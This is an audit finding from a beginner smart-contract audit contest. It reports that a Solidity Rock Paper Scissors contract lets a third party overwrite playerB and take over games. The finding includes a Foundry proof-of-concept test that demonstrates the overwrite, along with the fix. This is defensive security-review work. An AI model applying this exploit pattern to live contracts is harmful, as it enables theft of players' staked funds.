Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Player B can be overwritten by a third party, allowing for game hijacking and theft of funds

Summary

In the RockPaperScissors contract, when a player joins an existing game, there's no check to verify if playerB is already set. This allows a malicious third party to overwrite an existing playerB, effectively hijacking the game and stealing the original playerB's funds or tokens.

Vulnerability Details

When joining a game, the contract simply assigns the caller's address to playerB without checking if someone has already joined:

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender; // @audit: playerB can be overwritten
emit PlayerJoined(_gameId, msg.sender);
}

This vulnerability exists in both joinGameWithEth and joinGameWithToken functions.

A malicious actor can exploit this by:

  1. Monitoring the blockchain for PlayerJoined events

  2. Immediately calling the join function again with the same gameId

  3. Overwriting the legitimate playerB with their own address

The original playerB has now lost their bet amount with no way to recover it, as they are no longer recognized as a participant in the game.

Impact

The impact is severe as it results in:

  1. Direct loss of funds for the original playerB (their entire bet amount)

  2. Disruption of fair gameplay

  3. Potential for further exploitation through collusion with playerA

This vulnerability undermines the fundamental fairness and security of the game, allowing for straightforward theft of user funds.

Tools Used

  • Manual code review

  • Foundry for POC validation

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {RockPaperScissors} from "../../src/RockPaperScissors.sol";
import {WinningToken} from "../../src/WinningToken.sol";
contract PlayerBOverwritePOC is Test {
RockPaperScissors public rps;
address public admin = address(0x1);
address public playerA = address(0x2);
address public legitimatePlayerB = address(0x3);
address public maliciousPlayerC = address(0x4);
uint256 public betAmount = 0.1 ether;
uint256 public totalTurns = 3; // Odd number as required
uint256 public timeoutInterval = 5 minutes;
function setUp() public {
// Setup accounts
vm.startPrank(admin);
// Deploy RockPaperScissors contract
rps = new RockPaperScissors();
vm.stopPrank();
// Fund accounts
vm.deal(playerA, 1 ether);
vm.deal(legitimatePlayerB, 1 ether);
vm.deal(maliciousPlayerC, 1 ether);
}
function testPlayerBOverwrite() public {
// Step 1: PlayerA creates a game
vm.startPrank(playerA);
uint256 gameId = rps.createGameWithEth{value: betAmount}(totalTurns, timeoutInterval);
vm.stopPrank();
console.log("Game created by playerA with ID:", gameId);
// Step 2: LegitimatePlayerB joins the game
vm.startPrank(legitimatePlayerB);
rps.joinGameWithEth{value: betAmount}(gameId);
vm.stopPrank();
console.log("LegitimatePlayerB joined the game");
// Retrieve game data to verify legitimatePlayerB is set
RockPaperScissors.Game memory game = getGameData(gameId);
console.log("PlayerB after legitimate join:", game.playerB);
assert(game.playerB == legitimatePlayerB);
// Step 3: MaliciousPlayerC joins the same game, overwriting LegitimatePlayerB
vm.startPrank(maliciousPlayerC);
rps.joinGameWithEth{value: betAmount}(gameId);
vm.stopPrank();
console.log("MaliciousPlayerC joined the same game");
// Step 4: Verify playerB has been overwritten
game = getGameData(gameId);
console.log("PlayerB after malicious join:", game.playerB);
// This assertion should pass if the vulnerability exists
assert(game.playerB == maliciousPlayerC);
console.log("VULNERABILITY CONFIRMED: PlayerB was overwritten!");
// Check contract balance - it should have 3x the bet amount
// (from playerA, legitimatePlayerB, and maliciousPlayerC)
uint256 contractBalance = address(rps).balance;
console.log("Contract balance:", contractBalance);
assert(contractBalance == betAmount * 3);
console.log("Contract has received 3 bet payments");
}
// Helper function to get game data (for testing only)
function getGameData(uint256 _gameId) internal view returns (RockPaperScissors.Game memory) {
(
address _playerA,
address playerB,
uint256 bet,
uint256 _timeoutInterval,
uint256 revealDeadline,
uint256 creationTime,
uint256 joinDeadline,
uint256 _totalTurns,
uint256 currentTurn,
bytes32 commitA,
bytes32 commitB,
RockPaperScissors.Move moveA,
RockPaperScissors.Move moveB,
uint8 scoreA,
uint8 scoreB,
RockPaperScissors.GameState state
) = rps.games(_gameId);
return RockPaperScissors.Game({
playerA: _playerA,
playerB: playerB,
bet: bet,
timeoutInterval: _timeoutInterval,
revealDeadline: revealDeadline,
creationTime: creationTime,
joinDeadline: joinDeadline,
totalTurns: _totalTurns,
currentTurn: currentTurn,
commitA: commitA,
commitB: commitB,
moveA: moveA,
moveB: moveB,
scoreA: scoreA,
scoreB: scoreB,
state: state
});
}
}

Recommendations

Add a check to verify if playerB is already set before allowing a new player to join:

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
require(game.playerB == address(0), "Game already has a second player");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}

Apply the same fix to the joinGameWithToken function as well.

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.